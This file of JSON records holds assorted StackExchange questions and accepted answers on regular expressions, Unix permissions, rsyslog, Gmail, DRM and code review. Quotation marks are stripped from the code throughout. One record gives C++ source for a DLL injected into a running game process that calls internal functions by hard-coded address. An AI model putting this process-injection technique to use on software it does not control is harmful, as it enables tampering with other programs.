{  "id": "_cs.49787"  , "question": "Take the alphabet A={0,1} I need to build a regular expression for the language with less or equal substrings 011 than 110. I tried to figure out what would be the finite automata but I'm not to sure. I also tried to proof it isn't regular using Myhill-Nerode theorem but the problem is the language readjusts itself:110011  (1 110, 1 011)011110  (1 110, 1 011)011011  (2 011, 1 110)110110  (1 011, 2 110)Now I'm convinced it should be regular but don't know how to proof it.Edit:Should be something similar to: $(0^{+}11^{+}+11^{+}0^{+})^{*}110(0^{+}11^{+}+11^{+}0^{+})^{*} + \\epsilon$?"  , "title": "Finding regular expression for a language with more substring of one type than from another"  , "tags": "regular languages;finite automata;regular expressions"  } 
{  "id": "_webapps.87219"  , "question": "Essentially all I want to do is to forward an email from Gmail to another account but when I do Gmail inserts into the new message the original senders details and the email message at the top but I don't want that to appear in the forwarded email. I know I can manually delete that information but I want this to be an automated process and wondered if there was a script that I could run that would strip out these details before the email was forwarded to the new email address(es)Is this possible?"  , "title": "Gmail Auto Forwarding"  , "tags": "gmail;gmail filters"  } 
{  "id": "_unix.129551"  , "question": "Assume a user uid=1000 and guids=1000,33,277 is allowed to create a file in the folder /files/. Is there any way I can prevent that the this user allows others to read the file (which are not at least in the groups 1000, 33 or 277)?Let the file created be /files/user1000.file then the question can be specific:Is there a way to prevent this outcome of ls /files/user1000.file -al-rw-rw-r-- 1 1000 1000 6 May 15 17:21 user1000.fileand have this instead:-rw-rw---- 1 1000 1000 6 May 15 17:21 user1000.fileMaybe using umask? I know that there are things like setgid drw-rws---, so I'm optimistic there might be a way.Yet I would imagine it is up to the user to decide to do a chmod o+rw user1000.file?"  , "title": "Is it possible to prevent files created being world-readable?"  , "tags": "permissions;files"  } 
{  "id": "_scicomp.26116"  , "question": "What would be the numerical method of choice to find minima in a non-smooth, non-convex, locally Lipschitz function $f: \\mathbb{R}^n\\rightarrow \\mathbb{R}$. The function $f$ is mostly smooth but contains three-dimensional cusps of the following form:$$g: \\mathbb{R}^3\\rightarrow \\mathbb{R}\\\\g(\\boldsymbol{x})= -\\exp(-{\\lVert \\boldsymbol x \\rVert}_2)$$with $\\lVert \\cdot \\rVert_2$ being the Euclidean Norm."  , "title": "Optimization of non-smooth, non-convex, locally Lipschitz functions of type exp(-abs(x))"  , "tags": "optimization;nonconvex"  , "accepted_answer": "I think I found the right article myself:Lewis, A.S. & Overton, M.L. Math. Program. (2013) 141: 135. doi:10.1007/s10107-012-0514-2"  } 
{  "id": "_unix.62535"  , "question": "I have a very simple ksh script and at certain points I want to write to a log file. I use the following commands in two places...print Directory listing 1:\\n > ${LogFile}ll >> ${LogFile}(Note: The second time this command is used print Directory listing 2)My problem is, when I view the log file afterwards, only the second execution of these commands work! So there's no Directory listing 1 and accompanying ll output.I have tested and tested the script to ensure that there's nothing wrong my logic. I've added print test commands just before each so I know they get executed.Is there something I've done wrong or I'm not realising?"  , "title": "Unsure about the behaviour of my script when writing to log file"  , "tags": "shell;files;io redirection;ksh;output"  , "accepted_answer": "Whenever you do a redirection with > (your first line), the ${LogFile} is truncated to 0 and then written. If I understand right, you do the above twice, the first stuff is overwritten by the second.What you have to do is along the lines:> ${LogFile}    # This just truncates if there was anything there, writes nothing ...echo First round >> ${LogFile}ls -l >> ${LogFile} ...echo -e \\nSecond round >> ${LogFile}ls -l >> ${LogFile} ..."  } 
{  "id": "_webapps.14541"  , "question": "How do I group separate emails into the one conversation if they weren't already?For instance, I email X, the manager at a client, asking something. Then Z, her secretary, replies with the answer. Is there a way to group these emails into a single conversation? I don't want to use labels, I really want to group the messages."  , "title": "Group different emails into one Gmail conversation"  , "tags": "gmail"  , "accepted_answer": "Forward one of the e-mails to yourself using the subject line from one of the other e-mails.Unfortunately, that seems to be the only way, and the e-mails you forward won't be clearly indicated as having been sent by the real sender (nice header with their name in colour), but it will work to get everything in one place.Given these two e-mails, like in your scenario:E-mail 1:to Person 1 (manager, in your scenario)from Yousubject Subject 1body Body 1 (question, in your scenario)E-mail 2:to Youfrom Person 2 (secretary, in your scenario)subject Subject 2body Body 2 (answer, in your scenario)...to get everything into one conversation, you send this e-mail:E-mail 3 (a forward of Person 2's message, with the subject manually changed):to Youfrom Yousubject Fw: Subject 1 [need to override Fw: Subject 2 with Fw: Subject 1]body Body 2 (answer, in your scenario)(I am saying forward instead of reply here in order to bring any attachments into the conversation too!)"  } 
{  "id": "_softwareengineering.246793"  , "question": "You can find an endless list of blogs, articles and websites promoting the benefits of unit testing your source code. It's almost guaranteed that the developers who programmed the compilers for Java, C++, C# and other typed languages used unit testing to verify their work.So why then, despite its popularity, is testing absent from the syntax of these languages?Microsoft introduced LINQ to C#, so why couldn't they also add testing?I'm not looking to predict what those language changes would be, but to clarify why they are absent to begin with.As an example: We know that you can write a for loop without the syntax of the for statement. You could use while or if/goto statements. Someone decided a for statement was more efficient and introduced it into a language.Why hasn't testing followed the same evolution of programming languages?"  , "title": "Why isn't testing a language a supported feature at the syntax level?"  , "tags": "programming languages;unit testing;syntax"  , "accepted_answer": "As with many things, unit testing is best supported at the library level, not the language level.  In particular, C# has numerous Unit Testing libraries available, as well as things that are native to the .NET Framework like Microsoft.VisualStudio.TestTools.UnitTesting.  Each Unit Testing library has a somewhat different testing philosophy and syntax.  All things being equal, more choices are better than less.  If unit testing were baked into the language, you'd either be locked into the language designer's choices, or you'd be using... a library, and avoiding the language testing features altogether.ExamplesNunit - General purpose, idiomatically-designed unit testing framework that takes full advantage of C#'s language features.Moq - Mocking framework that takes full advantage of lambda expressions and expression trees, without a record/playback metaphor.There are many other choices.  Libraries like Microsoft Fakes can create shims... mocks that don't require you to write your classes using interfaces or virtual methods.Linq isn't a language feature (despite it's name)Linq is a library feature.  We got a lot of new features in the C# language itself for free, like lambda expressions and extension methods, but the actual implementation of Linq is in the .NET Framework.There's some syntactic sugar that was added to C# to make linq statements cleaner, but that sugar is not required to use linq."  } 
{  "id": "_webapps.13007"  , "question": "PayPal collects my customers' addresses, but I need an easy way to integrate them into my CRM."  , "title": "How can I auto-import contacts from PayPal into Highrise?"  , "tags": "crm"  , "accepted_answer": "Old answer here, but try using this PayPal to Highrise Zap. It'll let you create contacts in Highrise or add notes to existing contacts when they buy something from you in PayPal. Disclosure: I run Zapier, but this is what I'd use even if I didn't. :)"  } 
{  "id": "_datascience.15589"  , "question": "I have a table in R. It just has two columns and many rows. Each element is a string that contains some characters and some numbers. I need number part of the element. How can I have number part?For example:    INTERACTOR_A INTERACTOR_B1          ce7380       ce60582          ce7380      ce138123          ce7382       ce73824          ce7382       ce52555          ce7382       ce11036          ce7388        ce5237          ce7388       ce8534Thanks "  , "title": "Remove part of string in R"  , "tags": "dataset;bioinformatics"  } 
{  "id": "_softwareengineering.206593"  , "question": "A db index is analogous to a table of contents. This helps me understand db index in an easy way. My question is are tehre any real world analogies for a clustered index?"  , "title": "Real world analogy for a clustered index"  , "tags": "oracle;indexing"  } 
{  "id": "_softwareengineering.329571"  , "question": "I have recently started a project where I need to make extensive use of videos and books. And all of them are needed to be stored locally. I want to be able to search all these books and get access to them as quickly as possible.I don't want users of my application to have access to the content (books and videos) outside my app that would allow them to copy the files or view them in another software. In short, I don't want the files to be stored openly in the file system, I want to obscure them or somehow restrict access to the content so it cannot be accessed outside my application.This is like an encyclopedia project, where I have copyrighted materials.I am using Java as the main language for this project."  , "title": "How to prevent copy of my Java application's local multimedia content?"  , "tags": "java;encryption;copy protection"  , "accepted_answer": "You probably want to encrypt the content (or at least obfuscate it). You then have to trust the encryption and the procedures related to it.But advanced users could bypass your Java code and access to the encrypted form.BTW, with enough efforts (including forcing the encryption), your mechanism could be bypassed. Remember that security through obscurity is a fallacy.Storing data outside of files (e.g. in some database) does not hide it at all. An advanced user (like a motivated enough me) would find your database and could query it outside of your application. It could change a Java class loader to modify or at least trace your application's behavior, or it could even patch the JVM running your thing (or use some different, e.g. academic JVM, to run your thing). It could e.g. trace the system calls done by your app (on Linux, I'm using strace(1) on most foreign binary software I might have to install). Read perhaps Operating Systems: Three Easy Pieces.Also, a given content (video or book) could be legally available on the consumer's computer outside of your app. Do you require that content to be duplicated (wasting resources on the consumer's computer, assumed to legally belonging to him)?At last, as a consumer, I would never buy or use your software, because I don't trust DRM. Information wants to be free. See https://www.defectivebydesign.org/ (which also have technical arguments related to your issue that you should know, even if you disagree with the opinions there).Read about trusted computing base.Explain to your client that someone (outside of US law juridiction, perhaps some Chinese, Russian, French developer or hacker, more generally outside of legal reach from your client ....) will eventually reverse engineer any software trick you'll implement, and publish his understanding of your tricks on some website or forum. It is just a matter of time. Read about libdvdcss as a past example etc...I want to obscure them or somehow restrict access to the content so it cannot be accessed outside my application.You won't technically be able to fully restrict (that is, make impossible any) access to content on another computer (on which the OS, the JVM, the hardware etc... could be hacked or compromised or improved or patched); you just could make that difficult (using encryption or obfuscation techniques). So you have a cost-effectiveness tradeoff: how much work & resource can your client afford to make it very difficult? Or is barely difficult enough?"  } 
{  "id": "_softwareengineering.325241"  , "question": "I am wondering what is the difference between DDS and AUTOSAR. As I know, both of them are communication middlewares. AUTOSAR WAS originally proposed by a group of car manufacturer that's why I guess should be much more suitable for intra-vehicle communications. DDS was proposed for military and critical-mission use cases first. But I really want to know should DDS be an alternative for AUTOSAR? If not, why?Please correct me, if I am wrong and add more to this."  , "title": "What is the difference between AUTOSAR and DDS?"  , "tags": "middleware"  } 
{  "id": "_unix.332874"  , "question": "How can I discard multiple messages at once using rsyslog?This doesn't work and I'm unable to find a working example:# Do not log any keepass and chmomium messagesif $programname == 'chromium.desktop'       then /dev/nullif $programname == 'keepass2.desktop'       then /dev/null& stopThe solution below works, but shows an error when checking with rsyslogd -N1 -f <config_file>rsyslogd: version 8.4.2, config validation run (level 1), master config /etc/rsyslog.d/00-discard.confrsyslogd: CONFIG ERROR: there are no active actions configured. Inputs will run, but no output whatsoever is created. [try http://www.rsyslog.com/e/2103 ]rsyslogd: run failed with error -2103 (see rsyslog.h or try http://www.rsyslog.com/e/2103 to learn what that number means)"  , "title": "rsyslog: discard multiple messages"  , "tags": "rsyslog"  , "accepted_answer": "The line & stop means repeat the previous selector, and do action stop which stops further processing of the selected message. So you would need to put it after each if ... selecting line.  However, since your action is to write to /dev/null,  you may as well make the first line do what you want, i.e.if $programname == 'chromium.desktop'       then stopif $programname == 'keepass2.desktop'       then stop"  } 
{  "id": "_cogsci.4597"  , "question": "At the siege of Masada, a group of heavily outnumbered Jewish soldiers elected to commit suicide en masse, rather than to be captured by the besieging Romans, who would probably have committed them to a tortuous death by crucifixion. Such an action is highly unusual, almost unique in the annals of history.During the Spartacus slave revolt, some 6,000 rebels were captured and crucified. Why did they choose this over death in battle? (As rebelling slaves, they were outlaws, not foreign prisoners who could expect to be allowed to live.) And why might this be true of others in similar straits (e.g. partisans captured by Nazis in World War II)?"  , "title": "Why do soldiers seldom fight to the death even if they are going to be killed anyway?"  , "tags": "decision making"  , "accepted_answer": "Why does prey, when caught in the jaws of an animal whose bite and build is powerful enough to carry them, cease to struggle? I remember an old quote from psychology, recounting first-hand, a lion attack. I cannot find it now. The narrator said that once the lion had him in its mouth, it shook him (physically) and thus disoriented him. He said that he felt no pain, and he said that it must have been because of adrenaline. I forget how, I think a local intervened, but he survived to describe the experience.Why does a fish, when laid on ground, cease to struggle? Yet waggle when touched and escape when released? Morale?Why do bucks, when vying for supremacy by engaging in contests of strength, not aim to kill their opponent? This case is slightly different, because the foe is conspecific. While humans understand the concept of mutually-assured destruction, animals seem to understand this too, and that it's evolutionarily folly when fighting one's own species.Sorry for an incomprehensive answer, but I hope my insight spurs the ultimate answer."  } 
{  "id": "_reverseengineering.8307"  , "question": "When clicking a GUI, there's underlying code somewhere getting executed. Is it possible to capture this puppet-stringing so that it can be manually called on demand (without clicking the GUI)?For example: In Internet Explorer's dev-console, there's a button for Clear domain cookies, however it's only accessible with the dev console pulled up and via button-click. Would it be possible to catch this underlying function getting called, and then call it on my own via programmatic puppet-stringing?"  , "title": "Possible to capture/replay GUI functions by puppet-stringing?"  , "tags": "ida;windows"  } 
{  "id": "_unix.166210"  , "question": "Often, the bottleneck of my laptop is the disk. When doing some disk-intensive computations, automatically-started background processes like updatedb, find /something etc. kick in, making things even worse. They are set to be nice, but it doesn't help since CPU is not the problem, I/O is.The question: what to do to alleviate the problem (short of killing them manually), and more generally, is there a mechanism like nice, but taking I/O into account?Even more generally, how to improve I/O responsiveness of a Linux (Ubuntu 14.04) system? At present, when one app is maxing out disk usage, the system is veeeery slow to respond - for example, it takes forever to open a web page in Firefox (even though the system is not swapping; it get worse when it is swapping). Swappiness is set to 0, it it matters. "  , "title": "Disk is a bottleneck. Background processes make things worse. How to improve responsiveness?"  , "tags": "performance;disk;nice"  } 
{  "id": "_cstheory.12307"  , "question": "A string has $2^n$ subsequences, but they are usually not all distinct. What is the complexity of finding the maximum frequency of any subsequence?For example, the string subsequence contains 7 copies of the subsequence sue and this is the maximum.Sample brute-force code at http://ideone.com/UIp3tAre there related structural theorems? Both of these turn out to be false:the longest of the maximum-frequency subsequences is uniquethe maximum frequency of any length-$k$ subsequence is unimodal in $k$Possibly related links:Counting # distinct subsequences $\\in \\mathbf{P}$ http://11011110.livejournal.com/254164.htmlRelated contest problem for multiple sources http://www.spoj.pl/problems/CSUBSEQS/Related paper http://dx.doi.org/10.1016/j.tcs.2008.08.035Edit 10 days later: thanks for taking a look! I had wondered if this would make a nice polynomial-time solvable programming contest problem. I guess not, but I hope to think about it again later."  , "title": "Commonest Subsequence"  , "tags": "ds.algorithms;string search"  } 
{  "id": "_cstheory.4757"  , "question": "I'm studying certain graph editing problems and I'd like to determine the complexity of this problem:Input: Balanced bipartite graph $G(A \\bigcup B, E)$, $|A|=|B|=n$, integer $k$Problem: Is there $r$ edit operations that transform the input graph into balanced bipartite $n/2$-regular graph ($r \\leq k$).An edit operation can be an addition of one edge or a removal of one edge (between sets $A$ and $B$). Has anyone seen this problem in the literature? Is there a polynomial time algorithm or is it $NP$-complete?My main interest is in the case where $k \\leq cn$ for some constant $c \\gt 0$.EDIT: One way to look at the problem is to find the minimum number of edit operations that transform an input of balanced bipartite graph $G(A \\bigcup B, E)$ into balanced bipartite $n/2$-regular graph $G(A \\bigcup B, E^')$. Notice that $n$ must be even integer."  , "title": "Complexity of transforming a balanced bipartite graph into regular graph?"  , "tags": "ds.algorithms;reference request;graph algorithms"  } 
{  "id": "_unix.375444"  , "question": "I have a handful of libvirt/kvm/qemu virtual hosts, which are working quite well, including live migration of VMs from one host to another.  However, there are occasional problems with live migrations turning into offline migrations - the VM is moved to the new host, but does a fresh boot on the destination.I'm assuming that this is due to errors during the transfer of the VM state and it is often (though not always) accompanied by errors in syslog on either the source or destination host. Based on this, I've tried adding --abort-on-error to my virsh migration commands, but it does not appear to have had any effect.My complete virsh command for online migration is:virsh migrate --live --tunneled --persistent --undefinesource --p2p --abort-on-error [VM name] qemu+ssh://[user]@[destination host]/systemIs there anything else I can do to cause virsh to abort migration if it can't be done live, rather than falling back to an offline migration?"  , "title": "Can virsh be prevented from falling back to offline migration?"  , "tags": "libvirtd;virsh"  } 
{  "id": "_cstheory.12529"  , "question": "The best known algorithm for computing the exact edit distance between two strings is I believe an algorithm by Masek and Paterson that runs in time $O(n^2/\\log^2 n)$, for binary alphabets. Is there any algorithm that possibly by taking advantage of larger alphabet sizes (and potentially the possibility of few matches to explore) can run in time that might be strictly better than the above bound for large (i.e non-constant sized) alphabets ? Or is there some easy reason why this would be as hard as the case for a binary alphabet ? "  , "title": "Edit distance algorithms that depend on alphabet"  , "tags": "ds.algorithms;edit distance"  } 
{  "id": "_unix.335004"  , "question": "Is there a program to monitor all ressource utilzation at once for a personal computer : CPU, memory, hard drives ?"  , "title": "Monitor all ressources use?"  , "tags": "arch linux;monitoring"  , "accepted_answer": "Take a look to Conky. Also searching for CPU widgets for ArchLinux will give you a lot of results for what you want.Additionally, if you want to know all that information via CLI, you can have it quickly with:echo CPU: && mpstat && echo && echo MEMORY: && free && echo && echo DISK USAGE: && df -h"  } 
{  "id": "_unix.105893"  , "question": "I have a large bibtex file with many entries where each entry has the general structure @ARTICLE{AuthorYear,item = {...},item = {...},item = {...},etc}(in some cases ARTICLE might be a different word e.g. BOOK)What I would like to do is write a simple script (preferably just a shell script) to extract  entries with given AuthorYear and put those in a new .bib file. I can imagine that I can recognize the first sentence of an entry by AuthorYear and the last by the single closing } and perhaps use sed to extract the entry, but I don't really know how to do this exactly. Can someone tell me how I would achieve this? It should probably be something likesed -n /AuthorYear/,/\\}/p file.bibBut that stops due to the closing } in the first item of the entry thus giving this output:@ARTICLE{AuthorYear,item = {...},So I need to recognize whether the } is the only character at a line and only have 'sed' stop reading when this is the case."  , "title": "Script to extract selected entries from a bibtex file"  , "tags": "shell script;text processing;sed"  , "accepted_answer": "The following Python script does the desired filtering.#!/usr/bin/pythonimport re# Bibliography entries to retrieve# Multiple pattern compilation from: http://stackoverflow.com/a/11693340/147021pattern_strings = ['Author2010', 'Author2012',]pattern_string = '|'.join(pattern_strings)patterns = re.compile(pattern_string)with open('bibliography.bib', 'r') as bib_file:    keep_printing = False    for line in bib_file:        if patterns.findall(line):            # Beginning of an entry            keep_printing = True        if line.strip() == '}':            if keep_printing:                print line                # End of an entry -- should be the one which began earlier                keep_printing = False        if keep_printing:            # The intermediate lines            print line,Personally, I prefer moving to a scripting language when the filtering logic becomes complex. That, perhaps, has an advantage on the readability factor at least."  } 
{  "id": "_reverseengineering.6863"  , "question": "I am developing a DLL for the purpose of injecting it into a running process for a game. I've found the memory addresses to some key functions(via Immunity Debugger) and I am trying to call those functions from within' my injected DLL.So far whenever I inject my DLL and press the hotkey combination of ALT+T, the game client stops responding and crashes. At one particular instance it showed a debug error saying: The process was not able to resume execution because the ESP value was changed, or something similar.Do I have to alter the ESP value before and after I call the process function from within' my DLL? If so, how would I do this properly.Here is the source code of my DLL:// Warband_Chat.cpp : Defines the exported functions for the DLL application.#include stdafx.h#include <windows.h> // Include the functions we are going to use like Sleep and hInstance etc...#include <fstream> // Allows us to work with files on the hard drive.#include <iostream>#define MAX_BUFFER_SIZE 300 // Maximum chat message size: 300 characters.#define ThreadMake(x) CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)&x,NULL,NULL,NULL); // Makes creating threads easy, it just requires 1 parameter(the function).using namespace std;// Define process(Warband) function based on its parameters and its location in memory.typedef void(__cdecl* ChatFunc)(char*);ChatFunc Chat = (ChatFunc)0x00450C60;wchar_t *convertCharArrayToLPCWSTR(const char* charArray)/* Converts a char array to a LCPWSTR string. */{    wchar_t* wString=new wchar_t[4096];    MultiByteToWideChar(CP_ACP, 0, charArray, -1, wString, 4096);    return wString;}int getkey(char x) // A function I made to get 1 key and automatically check ALT(vk_menu,0x12){    if(GetAsyncKeyState(VK_MENU)&0x8000 && GetAsyncKeyState(x)&0x8000)//Check if we are pressing ALT and what ever is inside x    {        return 1; // if we are then return true.    }    return 0; // If the condition is not met then return false}void main() // the main function{    while(1) // the main loop    {        if(getkey('T')) // If we are pressing ALT + T then do        {                        ifstream file(chat.txt);                        if (!file.is_open())                        {                                MessageBox(NULL, LFailed to open chat.txt. Make sure its on your root Mount & Blade: Warband folder., LFailed, MB_OK);                        }                        else                        {                                char buffer[MAX_BUFFER_SIZE];                                file.getline(buffer, MAX_BUFFER_SIZE-1);                                Chat(buffer); // Call chat function                                LPCWSTR newbuffer = convertCharArrayToLPCWSTR(buffer);                                MessageBox(NULL, newbuffer, LSuccess, MB_OK); // Post a message if we injected.                                // the L before the messages is just to tell MSVS that those are LPCTSTR characters.                        }                        file.close();            Sleep(20); // Sleep so we don't lag        }                Sleep(20); // no lag.    }}extern C // DLL Hook{    __declspec(dllexport) BOOL __stdcall DllMain(HINSTANCE hInst,DWORD reason,LPVOID lpv)    {        if (reason == DLL_PROCESS_ATTACH)        {            DisableThreadLibraryCalls(hInst);            ThreadMake(main); // Creates a new thread on the process.        }    return true;    }}"  , "title": "Cannot call function (properly) in C++"  , "tags": "c++;dll;immunity debugger;dll injection"  } 
{  "id": "_codereview.135569"  , "question": "Here's a simple school assignment I did:Problem 1: Write a program that asks the user for a positive integer  no greater than 15. The program should then display a square on the  screen using the character X. The number entered by the user will be  the length of the side of the square. For example, if the user enters  5, the program should display the following:XXXXX XXXXX XXXXX XXXXX XXXXXProblem 2: Imagine that you and a number of friends go to a restaurant  and when you ask for the bill you want to split the amount and the tip  between all. Write a functiondouble CalculateAmountPerPerson(double TotalBill, double TipPercentage, int NumFriends)that takes the total bill amount, tip percentage (e.g., 15.0 for a 15%  tip), and the number of friends as inputs and returns the total bill  amount as its output.Write a main function that asks the user for the total amount of the  bill and the size of his/her party (i.e., number of friends) and  prints out the total amount that each person should pay for tip  percentages of 10%, 12.5%, 15%, 17.5%, 20%, 22.5%, 25%, 27.5%, and  30%. Your main function should use a loop and invoke the  CalculateAmountPerPerson function at each iteration.My code:#include <iostream>#include <iomanip>void menuPrompt();short getMenuSelection();void program1();void squareLengthPrompt();void displaySquare(int, char);void program2();void billPrompt();void numPeoplePrompt();double CalculateAmountPerPerson(double, double, int);const short PROGRAM_1 = 1;const short PROGRAM_2 = 2;const short EXIT = 0;int main(int argc, char *arv[]) {    while(true) {        char menu = getMenuSelection();        switch (menu) {            case EXIT:                exit(EXIT_SUCCESS);            case PROGRAM_1:                program1();                break;            case PROGRAM_2:                program2();                break;            default:                std::cout << That program doesn\\'t exist. << std::endl;                break;        }    }    return 0;}void menuPrompt() {    std::cout        << Menu:\\n        << \\t1. Program 1\\n        << \\t2. Program 2\\n        << \\t0. Exit\\n        << Select your program:     << std::flush;}short getMenuSelection() {    short selection = 0;    while (selection != PROGRAM_1 && selection != PROGRAM_2) {        menuPrompt();        std::cin >> selection;    }    return selection;}void program1(){    const char SQUARE_CHARATER = 'X';    short squareLength = 0;    while (squareLength > 15 || squareLength < 1) {        squareLengthPrompt();        std::cin >> squareLength;    }    displaySquare(squareLength,SQUARE_CHARATER);}void squareLengthPrompt() {    std::cout        << Enter the length of the side of the square (Between 1 and 15):         << std::flush;}void displaySquare(int side, char character) {    for(int i = 0; i < side ; ++i) {        for (int j = 0; j < side; ++j) {            std::cout << character;        }        std::cout << std::endl;    }}void program2() {    const float TIP_PERCENTAGES[] = {.10, .125, .15, .175, .20, .225, .25, .275, .30};    double totalBill = 0;    int totalPeople = 0;    double amountPerPerson;    while (totalBill <= 0) {        billPrompt();        std::cin >> totalBill;    }    while (totalPeople <= 0) {        numPeoplePrompt();        std::cin >> totalPeople;    }    for(auto tipPercent: TIP_PERCENTAGES){        amountPerPerson = CalculateAmountPerPerson(totalBill,tipPercent, totalPeople);        std::cout << With the tip percentage of  << std::fixed << std::setprecision(2)            << tipPercent*100 << %, each person pays  << amountPerPerson            <<  from a $ << totalBill <<  bill.  << std::endl;    }}double CalculateAmountPerPerson(double TotalBill, double TipPercentage, int                                NumFriends) {    return (TotalBill*(1+TipPercentage))/NumFriends;}void billPrompt() {    std::cout        << Enter the total of your bill (must be greater than 0):         << std::flush;}void numPeoplePrompt() {    std::cout        << Enter the number people that are splitting the bill (must be greater than 0):         << std::flush;}I primarily just want to know if the code is self documenting and if I should include comments."  , "title": "Homework to display a square and calculate tips"  , "tags": "c++;homework;calculator;ascii art"  , "accepted_answer": "The code is not self-documenting, because the problem description is non-trivial and involves what you'd call business logic. That is, you're not trying to perform some technical operation (like a cache, or a data structure, or a parser), but you're following rules defined by someone else. Each of those rules has to be programmed in, of course, but without describing WHY they have been put in, you'll always need the problem description along with the code to make sense of the code.Imagine you had posted your question without the problem description. Would we have been able to guess what the goal of your assignment was?Personally, yes, I think so. This is because if I were to run your program, it asks clear questions and prints a clear result. It does require a non-trivial time investment, though.You get Enter the length of the side of the square (Between 1 and 15): As output on the screen, you enter a number, you get a square. Program 1 will print a square.And seeing something likefor(auto tipPercent: TIP_PERCENTAGES){    amountPerPerson = CalculateAmountPerPerson(totalBill,tipPercent, totalPeople);    std::cout << With the tip percentage of  << std::fixed << std::setprecision(2)        << tipPercent*100 << %, each person pays  << amountPerPerson        <<  from a $ << totalBill <<  bill.  << std::endl;}In the code tells me that program 2 is for splitting up a bill.In that sense, the code is self documenting. We don't need the problem description. We can see what the code does, because we can execute it.What comments are for, then, are not for explaining what the code does. That understanding can already be achieved by, well, reading and executing the code.Comments have 2 main uses, in my opinion: First, to explain the why of the code (why does the code do what it does). Second, to help speed along the understanding the code. Basically, rather than making me read and execute the entire program, spending lots of time, you simply put the purpose of a part of code in a comment, and I can read what the code does via condensed comments. Like reading a recipe instead of watching someone actually cook something.The act of making code self-documenting, then, is to put these comments into active code. Putting the why into code is hard; the only places you can possibly do this is in error messages - number of people must be greater than 0, cannot split bill between 0 or negative people - stuff like that explains why there is a totalPeople <= 0 check. I don't recommend going out of your way to do that; comments are for the programmer and output is for the user.Putting the how comments into code is a lot easier. You can use function names for this.Compare:    amountPerPerson = CalculateAmountPerPerson(totalBill,tipPercent, totalPeople);and    s = calc(sum, pct, num);One is clear to understand, the other could mean anything. Yet it can even make sense after we give it a comment...    double s; //share per person    s = calc(sum, pct, num); //calculate share per person using sum costs, tip percentage and number of peopleSo you've, in essence, already done this importing of comments.There are still a few improvements to be made.For instance...void program2() {    const float TIP_PERCENTAGES[] = {.10, .125, .15, .175, .20, .225, .25, .275, .30};    double totalBill = 0;    int totalPeople = 0;    double amountPerPerson;    while (totalBill <= 0) {        billPrompt();        std::cin >> totalBill;    }    while (totalPeople <= 0) {        numPeoplePrompt();        std::cin >> totalPeople;    }    for(auto tipPercent: TIP_PERCENTAGES){        amountPerPerson = CalculateAmountPerPerson(totalBill,tipPercent, totalPeople);        std::cout << With the tip percentage of  << std::fixed << std::setprecision(2)            << tipPercent*100 << %, each person pays  << amountPerPerson            <<  from a $ << totalBill <<  bill.  << std::endl;    }}program2 as a whole is hard to understand. You have to carefully read what it does to see what it does. Had you instead renamed the function to runBillSplitterProgram, we'd have gotten a hint of the meaning already.Internally, you have tried splitting certain sections up, but you're only done this for the long strings.We can do slightly better by not separating based on code length, but on functionality://in runBillSplitterProgramdouble amountPerPerson;double totalBill = askForTotalBill();int totalPeople = askForTotalPeople();//as separate functions        double askUserForTotalBill() {    double totalBill = 0;    while (totalBill <= 0) {        std::cout            << Enter the total of your bill (must be greater than 0):             << std::flush;        std::cin >> totalBill;    }    return totalBill;}int askUserForTotalPeople() {    int totalPeople = 0;    while (totalPeople <= 0) {        std::cout            << Enter the number people that are splitting the bill (must be greater than 0):             << std::flush;        std::cin >> totalPeople;    }    return totalPeople;}It's a shame one is a double and the other is an integer, or you'd been able to merge both into some sort of askUserForValue function, keeping billPrompt as a function which calls askUserForValue with a lengthy string.Technical commentary:while (!(1 <= squareLength && squareLength <= 15))reads better as a range check.Overall, you've done a pretty good job. You should add a program header describing the exercise. "  } 
{  "id": "_unix.25811"  , "question": "Is there any way to list the tunnels that SSH clients connected to my OpenSSH server have set up?I can use e.g. lsof -i to show connections that are being actively tunnelled, but I'd like to be able to list tunnels that the clients have set up but may not currently be in use.(It's just struck me that this may be an entirely client-side thing, i.e. the server only knows the client is set up to tunnel a port when something tries to connect through the tunnel, in which case the answer will be you can't - but I'll take that as an answer if so.)(Background: I'm running a MineCraft server on a machine that won't be able to do much else while it's running. If I can monitor when users have tunnels set up, I can run up the MC server on demand.)"  , "title": "List ports tunnelled on OpenSSH server"  , "tags": "openssh;ssh tunneling;tunneling"  , "accepted_answer": "Well yes it is client sided.Plus there isn't any configuration in the traditional sense. You create a tunnel by specifying the correct parameters when connecting to a server.Sure you can store it in .bashrc, .ssh/config, or some other place for re-usability, but in general it is purely on-demand."  } 
{  "id": "_webapps.31554"  , "question": "When I first browse to trello.com there is no request for login or password or any screening of any kind. The result is that anyone sitting at my PC can click on the Trello icon/shortcut and be presented with the full list of all boards I have created, ie., Trello assumes that the PC operator is always me.How do I stop access to the main Trello screen listing the boards I have created?Example: if someone operates my PC and browses to yahoo.com or even my.yahoo.com they are not presented with all my activity. In fact they would not even know if I had a Yahoo account.How do I force a logon to my home page on Trello?"  , "title": "Security/permission at the highest level?"  , "tags": "trello"  } 
{  "id": "_softwareengineering.349852"  , "question": "So basically I have an object with a few properties in it:public MyObject{public string Name {get;set;}public bool Complete {get; set;}}List<MyObject> myList = new List<MyObject>();myList.Add(new MyObject(Page1, true));myList.Add(new MyObject(Page2, false));myList.Add(new MyObject(Page3, false));Imagine a webpage. Load the list of pages above from the database and then render a link to each one.The pages must be completed in order.So if a page is not complete then the next page cannot be edited.So in this case page 1 is already complete.Page2 can be edited/completed.Page3 cannot be edited until Page2 has been completed.I'm trying to decide the best way to implement - I have 3 options I am trying to decide between:1) Change database query - The current query contains the name and the complete flag.  I was thinking to just add a new flag which will pull the value from the previous row, like so:SELECT Name, Complete, LAG(Complete) OVER (ORDER BY 1) as EditableFROM @MyPages ORDER BY 1But that is bordering on business logic in the database. I'm told that is bad.2) Change the webpage View (MVC page)Simplest way. When looping through the list, check the previous row.But I'm also told business logic in the view is bad.3) Some sort of new view model.  But since the property is dependant on the previous object in a list I'm trying to find a 'nice' way of doing it.Best I managed so far...public class MyViewModel{    public List<MyObject> _list;    public bool IsEditable(int index)    {        if (index > 0)        {            if (this._list[index-1].Complete)                return true;            return false;        }        else            return true;    }}All 3 of those will work.But recently I've been making more of an effort to do things 'properly' rather than just hacking together the quickest or the first thing i think of.-Or am I better scrapping the whole object and starting from scratch?I already have the list of pages taken from the database which was fine when we wanted to show everything and treat them equally.  Now it's all screwed up.."  , "title": "Object property depend on previous objects in a list. How best to go about this?"  , "tags": "c#;design;web development"  } 
